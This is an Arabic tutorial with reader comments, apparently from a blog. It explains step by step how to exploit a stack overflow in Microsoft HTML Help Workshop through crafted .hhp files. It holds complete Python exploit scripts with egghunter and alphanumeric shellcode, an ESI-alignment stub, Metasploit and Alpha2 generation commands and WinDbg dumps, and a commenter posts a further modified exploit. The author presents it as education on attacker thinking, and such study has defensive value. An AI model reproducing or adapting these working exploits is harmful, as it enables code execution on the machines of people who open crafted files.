مقال : تحليل واستغلال ثغرات البرامج والتنقيح بأداة Windbg
مقال يتحدث عن ثغرات البرامج وبصفة خاصة عن ثغرة في أداة Microsoft HTML Help Workshop سنتتبع خطوات استغلالها من خلل برمجي صغير الى استغلال يهدد الأجهزة. الأداة من برمجة Microsoft وهي قوية في تعديل صفحات HTML ولها عدة مزايا أخرى كما أنها تستعمل حاليا في العديد من الجامعات وتستخدم كأداة رسمية.
الأدوات:
- Windbg: أداة قوية جدا وشخصيا افضلها على كافة المنقحات , والغرض منها في هذا المقال هو مدى قوة التنقيح debugging ودقة الحسابات.
- Metasploit Generator: سيستخدم لتوليد shellcode مناسب للإستغلال.
- Alpha2.c: لتوليد shellcode بالأرقام والحروف فقط Alphanumirical shellcode.
- لغة برمجية: أنا سأستخدم Python وفضلتها على لغة C لسهولة كتابة الكود عن طريقها وسهولة فهمه من طرف المتابعين للموضوع.
هذا الموضوع لا يتكلم عن الإختراق بل يهدف للتعريف بالطريقة التي يتمكن بها الهكر من إستغلال الثغرة وأيجاد حلول مناسبة لها. لن أتحدث عن كيفية تحديد كيمية البيانات التي أحدتث الخلل ولا على كيفية البحث عن العناوين من الذاكرة فهذه أمور قد يتم التطرق لها لاحقاً. وكما قلت سابقا غرضنا هو أن نيّن تفكير الهكر ونضع أنفسنا مكانه حين يحلل البرامج.
واجهة البرنامج:
لنر كيف يحدث الخلل:
#!usr/bin/python# Microsoft html help workshop Buffer advanced overflow exploitationheader1=(
“x5bx4fx50x54x49x4fx4ex53x5dx0dx0ax43x6fx6dx70x61x74x69x62x69”
“x6cx69x74x79x3dx31x2ex31x20x6fx72x20x6cx61x74x65x72x0dx0ax43”
“x6fx6dx70x69x6cx65x64x20x66x69x6cx65x3dx74x65x73x74x2ex63x68”
“x6dx0dx0ax43x6fx6ex74x65x6ex74x73x20x66x69x6cx65x3dx74x65x73”
“x74x2ex68x68x63x0dx0ax44x65x66x61x75x6cx74x20x74x6fx70x69x63”
“x3d”)
header2=(
“x44x69x73x70x6cx61x79x20x63x6fx6dx70x69x6cx65x20x70x72x6fx67”
“x72x65x73x73x3dx4ex6fx0dx0ax49x6ex64x65x78x20x66x69x6cx65x3d”)
header3= “x4cx61x6ex67x75x61x67x65x3dx30x78x34x30x39x20”
header4=(
“x20x28x55x6ex69x74x65x64x20x53x74x61x74x65x73x29x0dx0ax0dx0a”
“x0dx0ax5bx46x49x4cx45x53x5dx0dx0ax74x65x73x74x2ex68x74x6dx0d”
“x0ax0dx0ax5bx49x4ex46x4fx54x59x50x45x53x5dx0dx0ax0dx0a”)
payload = header1
payload += “x44″*3000+”x0dx0a”
payload += header2
payload += “A” * 280
payload += “XXXX” # EIP is overwrited by this 4 bytes
payload += “x0dx0a”
payload += header3
payload += “x42″*1100
payload += header4
file = open(“1.hhp”,”w”)
file.write(payload)
file.close()
شغّل الكود السابق بإستخدام مفسّر Python وسيعطيك ملف 1.hhp إفتح الملف عن طريق البرنامج باستعمال windobg ولاحظ التغييرات:
كما لاحظنا حدوث overflow بالذاكرة وتم تغيير مسار عمل البرنامج والمؤشر EIP يدل الى موضع مجهول ‘XXXX’ بالذاكرة.
نستخدم الأمر d esi لرؤية ماذا يخزن هذا المسجل حاليا, وجدنا أنه يحتوي على البيانات التي قمنا بأدخالها والتي أدت لحدوث طفح بالذاكرة أي بمعنى أخر مكان وضع الـ shellcode (الإطار الأحمر)
هده الثغرة تظهر كأنها basic exploitation, يعني ان نقوم بعمل الشلكود في مكان A*280 ونستدعي المسجل esi عن طريق هذه التعليمة call esi or jmp esi ليتم تنفيذ الشيل كود بسرعة لكننا للأسف نجد ان هذه الطريقة لا تناسب والسبب هو أن حجم المساحة غير كافي لوضع shellcode خصوصا إن كان reverse shell or alphanum shellcode. الآن يجب أن نفكر في طريقة تجعله يزيد من مساحة الذاكرة لوضع الـ shellcode أو البحث عن مكان في الذاكرة نضع فيه الشيل كود ونقوم باستدعائه عن طريقة مجموعة من التعليمات.
سأتطرق لطريقتين لاستغلال هذه الثغرة, الأولى سهلة نوعا ما وهي طريقة إستدعاء egghunter أو shellhunter ليبحث لنا عن مكان الشيل كود.
أما الطريقة الثانية فهي وضع الشيل كود في مكان ما بالذاكرة ثم نقوم باستدعائه وهذه الطريقة يستعملها الخبراء في هذا المجال. وساشرح الإثنتين بالتفصيل.
الطريقة الأولى (egghunting):
نبذة صغيرة عن أداة skape egghunt: أداة قام ببرمجتها أحد مطوري مشروع Metasploit يدعى skape حيث جعل مشكلة حجم المساحات أمراً سهل التخطي ذلك لأنه يستخدم بشكل اعتباطي.
// 32 byte egghunt shellcode (egg=0x57303054)
unsigned char egghunt[] = “x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74xexb8x54x30x30x57x8bxfaxafx75xeaxafx75xe7xffxe7”;
هذا الشيل كود الصغير مكوّن من 32 bytes يبحث عن العنوان الذي ادخلناه 0x57303054 داخل الذاكرة وأينما يوجد يتم استدعاء التعليمات التي بعدها. أي من هذا الجانب يمكننا أن نضع الشيل كود وراء هذا العنوان وسينفذ الشيل كود لكن من سلبيات هذه الطريقة أنها تستغرق بضع ثواني وأحيانا بضع دقائق ذلك لانه يبحث عن مكان العنوان المطلوب منه. إذاً لنطبق هذه الخاصية على مثالنا هذا ونرى ماذا سيحدث:
#!/usr/bin/python# Microsoft html help workshop Buffer advanced overflow exploitationshellcode = (
“x54x30x30x57x54x30x30x57”
“xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49”
“x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36”
“x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34”
“x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41”
“x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34”
“x42x50x42x30x42x30x4bx48x45x44x4ex43x4bx38x4ex37”
“x45x30x4ax57x41x50x4fx4ex4bx58x4fx44x4ax41x4bx58”
“x4fx35x42x52x41x50x4bx4ex49x34x4bx48x46x43x4bx38”
“x41x50x50x4ex41x33x42x4cx49x39x4ex4ax46x58x42x4c”
“x46x47x47x30x41x4cx4cx4cx4dx30x41x50x44x4cx4bx4e”
“x46x4fx4bx43x46x35x46x32x46x30x45x47x45x4ex4bx38”
“x4fx45x46x52x41x30x4bx4ex48x56x4bx58x4ex30x4bx34”
“x4bx38x4fx35x4ex31x41x30x4bx4ex4bx48x4ex31x4bx48”
“x41x50x4bx4ex49x38x4ex45x46x32x46x50x43x4cx41x43”
“x42x4cx46x56x4bx58x42x54x42x53x45x38x42x4cx4ax47”
“x4ex50x4bx48x42x54x4ex30x4bx58x42x37x4ex41x4dx4a”
“x4bx58x4ax46x4ax30x4bx4ex49x30x4bx58x42x48x42x4b”
“x42x30x42x30x42x30x4bx38x4ax46x4ex53x4fx35x41x33”
“x48x4fx42x56x48x45x49x38x4ax4fx43x48x42x4cx4bx37”
“x42x45x4ax36x50x47x4ax4dx44x4ex43x37x4ax36x4ax49”
“x50x4fx4cx58x50x30x47x55x4fx4fx47x4ex43x36x41x46”
“x4ex56x43x56x42x30x5a”)
header1=(
“x5bx4fx50x54x49x4fx4ex53x5dx0dx0ax43x6fx6dx70x61x74x69x62x69”
“x6cx69x74x79x3dx31x2ex31x20x6fx72x20x6cx61x74x65x72x0dx0ax43”
“x6fx6dx70x69x6cx65x64x20x66x69x6cx65x3dx74x65x73x74x2ex63x68”
“x6dx0dx0ax43x6fx6ex74x65x6ex74x73x20x66x69x6cx65x3dx74x65x73”
“x74x2ex68x68x63x0dx0ax44x65x66x61x75x6cx74x20x74x6fx70x69x63”
“x3d”)
header2=(
“x44x69x73x70x6cx61x79x20x63x6fx6dx70x69x6cx65x20x70x72x6fx67”
“x72x65x73x73x3dx4ex6fx0dx0ax49x6ex64x65x78x20x66x69x6cx65x3d”)
header3= “x4cx61x6ex67x75x61x67x65x3dx30x78x34x30x39x20”
header4=(
“x20x28x55x6ex69x74x65x64x20x53x74x61x74x65x73x29x0dx0ax0dx0a”
“x0dx0ax5bx46x49x4cx45x53x5dx0dx0ax74x65x73x74x2ex68x74x6dx0d”
“x0ax0dx0ax5bx49x4ex46x4fx54x59x50x45x53x5dx0dx0ax0dx0a”)
# skape egghunter
shellhunt=(
“x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74”
“xefxb8x54x30x30x57x8bxfaxafx75xeaxafx75xe7xffxe7”)
payload = header1
payload += “x44″*1100+”x0dx0a”
payload += header2
payload+= shellhunt
payload += “A” * (280-len(shellhunt))
payload += “x7Fx13x40x00” #call esi 0040137F universal address
payload += “x0dx0a”
payload += header3
payload += shellcode
payload += “x42″*1100
payload += header4
file = open(“egghunt.hhp”,”w”)
file.write(payload)
file.close()
بعد مدة وجيزة اشتغل shellcode وقد إستخدمنا شيل كود ينفد calc فقط. لو لاحظتم أين وضعنا الشلكود فقد وضعناه في مكان عشوائي ويمككنا وضعه في اي مكان وسيتم استدعائه بعد انتهاء مدة البحث, لاحظ أيضاً إضافة السطر الأول فوق الشيل كود وهو كلمة البحث التي قمنا بها.
الطريقة الثانية (jumping to shellcode):
الاستثمار المحترف يتطلب عدة معايير ليكون كذلك ومنها أن يكون الاستثمار Universal يشتغل في أي نظام, أن ينفد أي شيل كود مهما كان حجمه ومهما كانت وضعيته ومهما كان نوع الـ filters وهذا ما سنحاول القيام به وهو البحث عن مكان نستطيع وضع الشيل كود فيه وتنفيده باستعمال أحدة المسجلات وسنأخد على سبيل المثال المسجل ESI.
نفتح الملف 1.hhp ونرى التغيرات, كما رأينا سابقاً نقوم بعمل d esi:
جيد جداً الآن, وجدنا مكان مناسب للشيل كود سنرى هل هو كافي أم لا؟
First chance exceptions are reported before any exception handling.This exception may be expected and handled.
eax=00000000 ebx=003297f8 ecx=41414141 edx=009515e0 esi=003cb030 edi=003cb03b
eip=58585858 esp=0012ee48 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
58585858 ?? ???
0:000> d esi
003cb030 49 6e 64 65 78 20 66 69-6c 65 00 41 41 41 41 41 Index file.AAAAA
003cb040 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003cb050 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003cb060 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003cb070 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003cb080 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003cb090 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003cb0a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d
003cb0b0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003cb0c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003cb0d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003cb0e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003cb0f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003cb100 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003cb110 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003cb120 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA0:000> d
003cb130 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003cb140 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003cb150 41 41 41 58 58 58 58 00-41 42 43 44 45 46 47 48 AAAXXXX.ABCDEFGH
003cb160 49 4a 4b 4c 4d 4e 4f 50-51 52 53 54 55 56 57 58 IJKLMNOPQRSTUVWX
003cb170 59 5a 44 44 44 44 44 44-44 44 44 44 44 44 44 44 YZDDDDDDDDDDDDDD
003cb180 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
003cb190 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
003cb1a0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0:000> d 003cb158
003cb158 41 42 43 44 45 46 47 48-49 4a 4b 4c 4d 4e 4f 50 ABCDEFGHIJKLMNOP
003cb168 51 52 53 54 55 56 57 58-59 5a 44 44 44 44 44 44 QRSTUVWXYZDDDDDD
003cb178 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
003cb188 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
003cb198 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
003cb1a8 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
003cb1b8 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
003cb1c8 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0:000> d
003cb1d8 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
003cb1e8 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
003cb1f8 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
003cb208 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
003cb218 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
003cb228 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
003cb238 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
003cb248 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
إذاً حسب ما سبق لدينا ما يلي: المسجل ESI الآن يحمل العنوان 003CB030 ولكن الشيل كود يتواجد في 003CB158. السؤال هو كيف نجعل المسجل ESI يؤشر الى العنوان 003CB158 أي مكان تواجد الشيل كود؟
بكل صراحة من الصعب ايضاح الفكرة ولكنني اقترحت ان تقرأ الكود الموجود في الأسفل وتمعن فيه جيداً وسترى أن هذه الطريقة متقدمة في استغلال الثغرة هي مجرد عمليات حسابية بالـ Hex:
ESI = 003cb030ADD ESI ,55445544 ; this will increase the ESI registre;result :
ESI = 55810574
;————————-
SUB ESI,5544541C
result :
ESI = 003cb158 ;=====> the place of our shellcode xD
;———————————————–
Push ESI,ret ; push them on the stack and return the value
الآن نحتاج فقط الى الـ opcodes:
#0041771F 81EE 1C544455 ADD ESI,55445544#00417725 81EE 1C544455 SUB ESI,5544541C
#0041772B 56 PUSH ESI
#0041772C C3 RETN————————————
with python :
align = “x81xC6x44x55x44x55x81xEEx1Cx54x44x55x56xc3”
أوشكت على الانتهاء, لم يبق إلا توليد shellcode من metasploit project وتحويله الى alphanum shellcode باستعمال أداة Alpha2 . لتوليد shellcode من مشروع ميتاسبلويت نستعمل الأمر التالي:
root@attacker-labs:/home/simo36# cd /pentest/exploits/framework3root@attacker-labs:/pentest/exploits/framework3# ./msfpayload windows/exec CMD=calc R > /pentest/exploits/tools/shellcalc.raw
root@attacker-labs:/pentest/exploits/framework3#
الان نحول الـ shellcode الى alphanum بإستعمال الأداة Alpha2. هذه الأداة قام ببرمجتها Skylined أحد أعضاء Google Chrome Security وهو مكتشف تقنية Heap Spray لإستغلال ثغرات المتصفح في أقل من دقيقة وسأتطرّق لاحقا لتفسير دقيق لهذه التقنية إن شاء الله.
هذه الأداة أعتبرها خارقة لأنها حلت العديد من المشاكل فهي تمكن من توليد شيل كود خاص بثغرات الـ unicode يعني هذا ما يدل على قوة هذه الّأداة ,, وقد تم اصدار نسخة Alpha3 لكن لم أجربها حتى الآن.
لتوليد شيل كود alphanum نقوم بكتابة الامر التالي:
root@attacker-labs:/pentest/exploits/framework3# cd /pentest/exploits/tools/root@attacker-labs:/pentest/exploits/tools# ./alpha2 esi –uppercase < /pentest/exploits/tools/shellcalc.raw
VYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLKXK95P5PC0SPK9M5VQ8RSTLKPRVPLK
0RDLLK0RB4LKT27XDOX7PJ7V6QKOP1YPNL7L3QSL5RVL7PO1HO4MUQHGKRL0PR0WLKV2TPLK1RWL5QXPLK1PRXLEO0T
4PJUQXP0PLKQXUHLK0XWP5QN3KSWL1YLK7DLKEQN6VQKOVQO0NLIQHODMEQIW7HKPBUL45SSML87KSM6DRUKRV8LKQH
7TS1N3CVLKTL0KLKV85LUQN3LK5TLK5QN0LIQTWTQ4QKQKU1V91JPQKOKP0XQO0ZLKUBJKLF1M3ZUQLMMUNYEPS0S0V
0CXP1LKBOK7KO8UOKZPOEORQFCXOVLUOMMMKOYEWLEVSL5ZK0KKKP45S5OK77TSRRRORJUPF3KOXUCSSQ2L3S30TJA
root@attacker-labs:/pentest/exploits/tools#
لمشاهدة الإستغلال النهائي: microsoft_html_help_workshop_overflow_exploit.py
وأخيرا وليس أخيرا أرفقت لكم فيديو يبيّن الفرق بين الطريقتين وإحكم بنفسك أي الطريقتين أفضل.
{flv}microsoft-html-help-workshop-overflow{/flv}
تم الانتهاء من الشرح وهذا ما لدي لحد الآن. أتمنى أن اكون قد وفقت في شرحي وفي حال وجود أي إستفسارات أو أخطاء في الشرح أتمنى تنبيهي له.
عن الكاتب:
محمد غنام, اختصاصي في استثمار ثغرات البرامج, مهتم بتحليل الأنظمة ومتابعة آخر الثغرات, مهتم كذلك ببرمجة أدوات الهاكينغ بلغة السي والبايثون
السلام عليكم ورحمة الله , أشكرك يا أخي على اهتمامك بالموضوع .
أنا على عكسك لم يشتغل معي دلك الاستغلال أطلاقازفحته عبر المنقح ووجدت ان العنوان الدي وضع للمسجل EDI يؤشر الى مكان يوجد فيه نصف الشلكود حيث مكان رأس الشلكود لم اجده , لدلك اقترح عليك عمل صورة تنقح فيها البرنامج مع اظهار مكان الشلكود, أضافة الى الاستغلالين معا جربتهم في أكثر من جهاز واشتغلوا ,وأستغرب لمادا لم يشتغل معك , وهناك حالة واحدة هو العناوين مختفلة من نظام الى اخر وهدا يحدت ,
وأما بالنسبة الاستغلال الاول بال egghunt ادا اشتغل معك فالفرضيى صحيحة كما قلت لك , وانصحك أن فهمت الدرس يمكنك ان تستغل الثغرة بنفسك واتبع نفس التعليمات التي وضعتها في الشرح وسترى ان كنت على حق ام لا وسترى الاختلاف الدي سيكون بيني وبينك وبين الاستغلال الاصلي , ولا تكتفي بتجريب الكود وتسال لمادا لم يعمل لاني وضعت كل شئ بدقة شديدة والصور توضح دلك , ان لم يشتغل معك فغير ال align حسب العنوان الدي موجود shellcode وسترى انه سيشتغل .
أما عن الشلكود بال Alpha2 هو طبعا قرار اختياري من باب شرح الاداة , اضافة الى ان البرنامج المصاب يقوم بعمل filter لبعض الشيفرات يعني تفريبا ينبغي ان يكون شلكود مشفر بنسبة 70% لدلك لا يتطلب الا شلكود من نوع Pexalphanum على اقل تقدير .
اتمنى ان تجرب الشرح على جهازك وان تبحث عن النتيجة بنفسك .
السلام عليكم
بامكانك الحصول على هيدر اي extenstion ببساطة عن طريق برنامج Hex Editor مثلا او بامكانك اخذ الهيدر بعمل edit للملف عن طريق notepad++ و تحويل الهيدر الى ال hex ووضعه في الاستغلال ، لكن الافضل استخدام اي برنامج Hex Editing .
مشكور اخوي محمد غنام
الله يعطيك ألف عافيه
بس ابي طريقة معرفة header للبرنامج
مثلا معي برنامج مصاب
ابي اسوي له header
تحياتي لك
شكرا على الرد أخي
بالنسبة للصورة لنجاح الإستغلال الأصلي
http://img121.imageshack.us/img121/8706/isecur1ty.jpg
أما بالنسبة للإستغلال الخاص بك لقد عوضت “A”*281 بال nops و إشتغل عادي مع أني لم أفهم السبب؟
سؤال ثاني بالنسبة لإستغلال egghunt لقد إشتغل معي عادي بعض مرور بعض الوقت
لكن لاحظت في الإستغلال
payload = header1
payload += “x44″*1100+”x0dx0a”
payload += header2
ما فائدة “x44″*1100؟
شكرا
بارك الله فيك اخي ..
وجزاك الله خير.
مشكور شرح رائع جاري تجربة
شرح رائع!
لكن الإستغلال اللي واضعو لم يشتغل معي عكس الإستغلال الأصلي
http://www.exploit-db.com/exploits/10323/
هل تقدر تقول لي ما السبب؟
سؤال آخر لو سمحت
ما فائدة إستخدام Alpha2 مع أن الإستغلال الأصلي فيه شل كود غير مشفر بAlpha2 و يشتغل عادي؟
hamza_hack_dz : أشكرك جزيل الشكر لاهتمامك بالموضوع
عبد الصمد : هده الصورة تدل على انك فهمت الموضوع وهدا شئ جيد , أما بالنسبة لل nopds فليس عندي اية فرضية لهدا لاني لم اجرب هدا , أما بخصوص ال egghunt فقط شرحت سابقا أنه يستدعى بعد فترة زمنية , أما بالنسبة للكود فهدا مكان الفائض الدي يمكننا وضع الشلكود فيه ويمكنك تبديله باية قيمة اخرة جرب الامر ورد على , اتمنى اكون وفقت في تفسير المعلومة اي سوال تفضل انا موجود
ريان السلمي : بارك الله فيك يا أخي
بارك الله فيك على الردود
أعلم أنني أكثرت عليك الأسئلة فاعذرني
تقدر توضح لنا ما الفرق بين olly و windbg من حيث الوظيفة لأني لم أستخدم windbg
في اداة تجي مع الميتا سبوليت اسمها
pattern_create.rb 5000
راح تنشى كود حجمة 5000 واكتبه في الملف المراد اختبارة ثم بعدها
انسخ الي يطلع لك في eip
واكتبة في اداه اخرى راح تحسب الحجم بهذي الطريقة
pattern_offset.rb 0xFFFFFF 5000
0xFFFFFF العنوان الموجود في ال eip
الحجم الي انشأته بالداية
وراح يطلعلك حجم البفر
انا عندي مشكلة في كتابة الشل كود كيف اعرف bad char
لي يومين ابحث فيها راح اجرب الalpha3
واشوف
يعطيك العافية على المقالة
قمت بالتعديل على الاستغلال ,, ولقد تم تنفذ الشل كود بسرعه
#!/usr/bin/python
shellcode = (
“x51x30x30x57x51x30x30x57”
” xdaxc0xd9x74x24xf4xbbxe6x9axc9x6dx5ax33xc
9xb1″
” x33x31x5ax18x83xeaxfcx03x5axf2x78x3cx91x1
2xf5″
” xbfx6axe2x66x49x8fxd3xb4x2dxdbx41x09x25x8
9×69″
” xe2x6bx3axfax86xa3x4dx4bx2cx92x60x4cx80x1
ax2e”
” x8ex82xe6x2dxc2x64xd6xfdx17x64x1fxe3xd7x3
4xc8″
” x6fx45xa9x7dx2dx55xc8x51x39xe5xb2xd4xfex9
1×08″
” xd6x2ex09x06x90xd6x22x40x01xe6xe7x92x7dxa
1x8c”
” x61xf5x30x44xb8xf6x02xa8x17xc9xaax25x69x0
dx0c”
” xd5x1cx65x6ex68x27xbex0cxb6xa2x23xb6x3dx1
4×80″
” x46x92xc3x43x44x5fx87x0cx49x5ex44x27x75xe
bx6b”
” xe8xffxafx4fx2cx5bx74xf1x75x01xdbx0ex65xe
dx84″
” xaaxedx1cxd1xcdxafx4ax24x5fxcax32x26x5fxd
5×14″
” x4ex6ex5exfbx09x6fxb5xbfxe5x25x94x96x6dxe
0x4c”
” xabxf0x13xbbxe8x0cx90x4ex91xebx88x3ax94xb
0x0e”
” xd6xe4xa9xfaxd8x5bxcax2exbbx3ax58xb2x12xd
8xd8″
“x51x6bx28”)
header1=(
” x5bx4fx50x54x49x4fx4ex53x5dx0dx0ax43x6fx6
dx70x61x74x69x62x69″
” x6cx69x74x79x3dx31x2ex31x20x6fx72x20x6cx6
1x74x65x72x0dx0ax43″
” x6fx6dx70x69x6cx65x64x20x66x69x6cx65x3dx7
4x65x73x74x2ex63x68″
” x6dx0dx0ax43x6fx6ex74x65x6ex74x73x20x66x6
9x6cx65x3dx74x65x73″
” x74x2ex68x68x63x0dx0ax44x65x66x61x75x6cx7
4x20x74x6fx70x69x63″
“x3d”)
header2=(
” x44x69x73x70x6cx61x79x20x63x6fx6dx70x69x6
cx65x20x70x72x6fx67″
” x72x65x73x73x3dx4ex6fx0dx0ax49x6ex64x65x7
8x20x66x69x6cx65x3d”)
header3= ” x4cx61x6ex67x75x61x67x65x3dx30x78x34x30x3
9×20″
header4=(
” x20x28x55x6ex69x74x65x64x20x53x74x61x74x6
5x73x29x0dx0ax0dx0a”
” x0dx0ax5bx46x49x4cx45x53x5dx0dx0ax74x65x7
3x74x2ex68x74x6dx0d”
” x0ax0dx0ax5bx49x4ex46x4fx54x59x50x45x53x5
dx0dx0ax0dx0a”)
sniper = (
” xebx21x59xb8x51x30x30x57x51x6axffx33xdbx6
4x89x23x6ax02″
” x59x8bxfbxf3xafx75x07xffxe7x66x81xcbxffx0
fx43xebxedxe8″
“xdaxffxffxffx6ax0c”
” x59x8bx04x0cxb1xb8x83x04x08x06x58x83xc4x1
0x50x33xc0xc3″)
payload = header1
payload += “x44″*1100+”x0dx0a”
payload += header2
payload+= sniper
payload += “A” * (280-len(sniper))
payload += “xA1x2Bx9Cx62”
payload += “x0dx0a”
payload += header3
payload += shellcode
payload += “x42″*1100
payload += header4
file = open(“egghunt.hhp”,”w”)
file.write(payload)
file.close()
ما هي الهيب أوفر فلو؟؟
Heap over flow??
الرجاء التوضيح مع مثال